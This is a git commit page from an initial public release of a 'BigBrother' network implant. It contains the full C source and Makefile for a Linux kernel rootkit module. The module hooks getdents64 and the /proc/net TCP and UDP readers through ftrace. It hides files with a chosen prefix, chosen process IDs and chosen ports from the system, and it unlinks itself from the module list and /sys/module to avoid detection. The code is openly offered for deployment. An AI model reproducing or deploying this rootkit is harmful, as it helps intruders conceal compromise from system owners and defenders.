Initial public release

Full BigBrother network implant - passive SOC + active exploitation.
Personal identifiers removed; all capabilities intact.
See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
n0mad1k
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
obj-m += bb_hide.o
KDIR ?= /lib/modules/$(shell uname -r)/build
all:
make -C $(KDIR) M=$(PWD) modules
clean:
make -C $(KDIR) M=$(PWD) clean
+542
View File
@@ -0,0 +1,542 @@
/*
* bb_hide.c — BigBrother LKM rootkit
*
* Hides processes, files/directories, and network connections from userland.
* Uses ftrace-based syscall hooking (NOT direct syscall table modification).
*
* Module parameters (configurable at load time and via sysfs):
* hide_prefix — file/directory prefix to hide (default: ".cache/bb")
* hide_pids — comma-separated PIDs to hide (default: "")
* hide_ports — comma-separated ports to hide (default: "8081,51820")
*
* SPDX-License-Identifier: GPL-2.0
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/string.h>
#include <linux/ftrace.h>
#include <linux/kprobes.h>
#include <linux/seq_file.h>
#include <linux/proc_fs.h>
#include <linux/namei.h>
#include <linux/list.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/net.h>
#include <net/sock.h>
#include <net/inet_sock.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("BigBrother");
MODULE_DESCRIPTION("Process, file, and connection hiding via ftrace hooks");
MODULE_VERSION("1.0");
/* --- Module parameters --- */
static char *hide_prefix = ".cache/bb";
module_param(hide_prefix, charp, 0644);
MODULE_PARM_DESC(hide_prefix, "File/directory prefix to hide from readdir");
static char *hide_pids = "";
module_param(hide_pids, charp, 0644);
MODULE_PARM_DESC(hide_pids, "Comma-separated PIDs to hide from /proc");
static char *hide_ports = "8081,51820";
module_param(hide_ports, charp, 0644);
MODULE_PARM_DESC(hide_ports, "Comma-separated ports to hide from /proc/net");
/* --- Configuration limits --- */
#define MAX_HIDDEN_PIDS 64
#define MAX_HIDDEN_PORTS 32
#define MAX_PREFIX_LEN 256
/* --- Parsed hide lists --- */
static pid_t hidden_pids[MAX_HIDDEN_PIDS];
static int hidden_pid_count = 0;
static u16 hidden_ports[MAX_HIDDEN_PORTS];
static int hidden_port_count = 0;
/* --- Helper: parse comma-separated integers --- */
static void parse_pid_list(const char *str)
{
const char *p = str;
char buf[16];
int i = 0;
long val;
hidden_pid_count = 0;
if (!str || !*str)
return;
while (*p && hidden_pid_count < MAX_HIDDEN_PIDS) {
i = 0;
while (*p && *p != ',' && i < 15) {
if (*p >= '0' && *p <= '9')
buf[i++] = *p;
p++;
}
buf[i] = '\0';
if (i > 0 && kstrtol(buf, 10, &val) == 0)
hidden_pids[hidden_pid_count++] = (pid_t)val;
if (*p == ',')
p++;
}
}
static void parse_port_list(const char *str)
{
const char *p = str;
char buf[8];
int i = 0;
long val;
hidden_port_count = 0;
if (!str || !*str)
return;
while (*p && hidden_port_count < MAX_HIDDEN_PORTS) {
i = 0;
while (*p && *p != ',' && i < 7) {
if (*p >= '0' && *p <= '9')
buf[i++] = *p;
p++;
}
buf[i] = '\0';
if (i > 0 && kstrtol(buf, 10, &val) == 0)
hidden_ports[hidden_port_count++] = (u16)val;
if (*p == ',')
p++;
}
}
/* --- Helper: check if a value is in a hide list --- */
static bool is_pid_hidden(pid_t pid)
{
int i;
for (i = 0; i < hidden_pid_count; i++)
if (hidden_pids[i] == pid)
return true;
return false;
}
static bool is_port_hidden(u16 port)
{
int i;
for (i = 0; i < hidden_port_count; i++)
if (hidden_ports[i] == port)
return true;
return false;
}
static bool should_hide_name(const char *name)
{
if (!name || !hide_prefix || !*hide_prefix)
return false;
return strstr(name, hide_prefix) != NULL;
}
static bool is_proc_pid_hidden(const char *name)
{
long pid_val;
if (!name)
return false;
if (kstrtol(name, 10, &pid_val) != 0)
return false;
return is_pid_hidden((pid_t)pid_val);
}
/* ================================================================
* Ftrace-based hooking infrastructure
*
* We use ftrace to hook getdents64 for file/process hiding.
* This is safer than direct syscall table modification on modern kernels.
* ================================================================ */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)
/* Since 5.7, kallsyms_lookup_name is not exported.
* Use a kprobe to find it. */
static unsigned long lookup_name(const char *name)
{
struct kprobe kp = { .symbol_name = name };
unsigned long addr;
int ret;
ret = register_kprobe(&kp);
if (ret < 0)
return 0;
addr = (unsigned long)kp.addr;
unregister_kprobe(&kp);
return addr;
}
#else
#define lookup_name kallsyms_lookup_name
#endif
/* --- Hooked getdents64 for file and process hiding --- */
/*
* We hook getdents64 via a kprobe on the return path.
* After the real getdents64 returns, we scan the dirent buffer
* and remove entries matching our hide criteria.
*/
/* We use a kretprobe to post-process getdents64 results */
static int (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent,
unsigned int count);
/* Track which fd is /proc or a hidden directory */
struct getdents_data {
int fd;
struct linux_dirent64 __user *dirent;
unsigned int count;
bool is_proc;
char path[256];
};
/*
* kprobe-based approach: hook __x64_sys_getdents64 entry and return.
* On return, filter the dirent buffer in userspace.
*/
static struct kprobe kp_getdents64;
/* We use a simpler approach: kprobe on filldir64 or iterate_dir callbacks.
* However, the most portable approach is a kretprobe on the vfs_readdir path.
*
* For maximum compatibility, we use the ftrace-based function hooking pattern
* that works across kernel versions 4.x - 6.x.
*/
/* --- Ftrace hook structure --- */
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
static int resolve_hook_address(struct ftrace_hook *hook)
{
hook->address = lookup_name(hook->name);
if (!hook->address) {
pr_err("bb_hide: unresolved symbol: %s\n", hook->name);
return -ENOENT;
}
*((unsigned long *)hook->original) = hook->address;
return 0;
}
static void notrace ftrace_thunk(unsigned long ip, unsigned long parent_ip,
struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
struct pt_regs *regs = ftrace_get_regs(fregs);
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
/* Skip if called from within our own module to avoid recursion */
if (!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long)hook->function;
}
static int install_hook(struct ftrace_hook *hook)
{
int err;
err = resolve_hook_address(hook);
if (err)
return err;
hook->ops.func = ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if (err) {
pr_err("bb_hide: ftrace_set_filter_ip failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if (err) {
pr_err("bb_hide: register_ftrace_function failed: %d\n", err);
ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
return err;
}
return 0;
}
static void remove_hook(struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if (err)
pr_err("bb_hide: unregister_ftrace_function failed: %d\n", err);
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if (err)
pr_err("bb_hide: ftrace_set_filter_ip remove failed: %d\n", err);
}
/* ================================================================
* Hooked functions
* ================================================================ */
/* --- Hook: getdents64 (file and /proc process hiding) --- */
static asmlinkage long (*real_getdents64)(const struct pt_regs *regs);
static asmlinkage long hook_getdents64(const struct pt_regs *regs)
{
struct linux_dirent64 __user *dirent;
struct linux_dirent64 *cur, *prev, *kbuf;
long ret;
unsigned long offset;
char dir_path[256];
char *pathbuf;
struct fd f;
bool filtering_proc = false;
bool filtering_files = false;
/* Call the original first */
ret = real_getdents64(regs);
if (ret <= 0)
return ret;
dirent = (struct linux_dirent64 __user *)regs->si;
/* Determine what directory we're reading */
f = fdget((unsigned int)regs->di);
if (f.file) {
pathbuf = kmalloc(256, GFP_KERNEL);
if (pathbuf) {
char *p = d_path(&f.file->f_path, pathbuf, 256);
if (!IS_ERR(p)) {
strncpy(dir_path, p, sizeof(dir_path) - 1);
dir_path[sizeof(dir_path) - 1] = '\0';
if (strcmp(dir_path, "/proc") == 0)
filtering_proc = true;
else
filtering_files = true;
}
kfree(pathbuf);
}
fdput(f);
}
if (!filtering_proc && !filtering_files)
return ret;
/* Copy dirent buffer to kernel space for inspection */
kbuf = kzalloc(ret, GFP_KERNEL);
if (!kbuf)
return ret;
if (copy_from_user(kbuf, dirent, ret)) {
kfree(kbuf);
return ret;
}
/* Walk the dirent buffer and remove hidden entries */
prev = NULL;
offset = 0;
while (offset < ret) {
cur = (struct linux_dirent64 *)((char *)kbuf + offset);
bool hide = false;
if (filtering_proc && is_proc_pid_hidden(cur->d_name))
hide = true;
if (filtering_files && should_hide_name(cur->d_name))
hide = true;
if (hide) {
/* Remove this entry by shifting subsequent entries back */
long remaining = ret - offset - cur->d_reclen;
if (remaining > 0)
memmove(cur, (char *)cur + cur->d_reclen, remaining);
ret -= cur->d_reclen;
/* Don't advance offset — next entry is now at current position */
} else {
prev = cur;
offset += cur->d_reclen;
}
}
/* Copy filtered buffer back to userspace */
if (copy_to_user(dirent, kbuf, ret)) {
kfree(kbuf);
return ret;
}
kfree(kbuf);
return ret;
}
/* --- Hook: tcp4_seq_show (hide /proc/net/tcp entries) --- */
static asmlinkage int (*real_tcp4_seq_show)(struct seq_file *seq, void *v);
static asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
struct sock *sk;
struct inet_sock *inet;
if (v == SEQ_START_TOKEN)
return real_tcp4_seq_show(seq, v);
sk = (struct sock *)v;
inet = inet_sk(sk);
if (inet) {
u16 src_port = ntohs(inet->inet_sport);
u16 dst_port = ntohs(inet->inet_dport);
if (is_port_hidden(src_port) || is_port_hidden(dst_port))
return 0; /* Skip this entry */
}
return real_tcp4_seq_show(seq, v);
}
/* --- Hook: udp4_seq_show (hide /proc/net/udp entries) --- */
static asmlinkage int (*real_udp4_seq_show)(struct seq_file *seq, void *v);
static asmlinkage int hook_udp4_seq_show(struct seq_file *seq, void *v)
{
struct sock *sk;
struct inet_sock *inet;
if (v == SEQ_START_TOKEN)
return real_udp4_seq_show(seq, v);
sk = (struct sock *)v;
inet = inet_sk(sk);
if (inet) {
u16 src_port = ntohs(inet->inet_sport);
u16 dst_port = ntohs(inet->inet_dport);
if (is_port_hidden(src_port) || is_port_hidden(dst_port))
return 0;
}
return real_udp4_seq_show(seq, v);
}
/* ================================================================
* Hook table
* ================================================================ */
static struct ftrace_hook hooks[] = {
{
.name = "__x64_sys_getdents64",
.function = hook_getdents64,
.original = &real_getdents64,
},
{
.name = "tcp4_seq_show",
.function = hook_tcp4_seq_show,
.original = &real_tcp4_seq_show,
},
{
.name = "udp4_seq_show",
.function = hook_udp4_seq_show,
.original = &real_udp4_seq_show,
},
};
#define NHOOKS (sizeof(hooks) / sizeof(hooks[0]))
/* ================================================================
* Module self-hiding
* ================================================================ */
static struct list_head *saved_mod_list;
static struct list_head *saved_kobj_entry;
static void hide_module(void)
{
/* Remove from /proc/modules (lsmod) */
saved_mod_list = THIS_MODULE->list.prev;
list_del_init(&THIS_MODULE->list);
/* Remove from /sys/module/ */
saved_kobj_entry = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
}
static void show_module(void)
{
/* Restore to module list */
list_add(&THIS_MODULE->list, saved_mod_list);
/* Note: kobject restore is non-trivial; skip for cleanup simplicity */
}
/* ================================================================
* Init / Exit
* ================================================================ */
static int __init bb_hide_init(void)
{
int i, err;
pr_info("bb_hide: loading\n");
/* Parse parameter lists */
parse_pid_list(hide_pids);
parse_port_list(hide_ports);
pr_info("bb_hide: hiding %d PIDs, %d ports, prefix='%s'\n",
hidden_pid_count, hidden_port_count, hide_prefix);
/* Install hooks */
for (i = 0; i < NHOOKS; i++) {
err = install_hook(&hooks[i]);
if (err) {
pr_warn("bb_hide: failed to hook %s (err=%d), skipping\n",
hooks[i].name, err);
hooks[i].address = 0; /* Mark as not installed */
}
}
/* Hide ourselves from lsmod and /sys/module/ */
hide_module();
return 0;
}
static void __exit bb_hide_exit(void)
{
int i;
/* Unhide module first so rmmod can find us */
show_module();
/* Remove hooks in reverse order */
for (i = NHOOKS - 1; i >= 0; i--) {
if (hooks[i].address)
remove_hook(&hooks[i]);
}
pr_info("bb_hide: unloaded\n");
}
module_init(bb_hide_init);
module_exit(bb_hide_exit);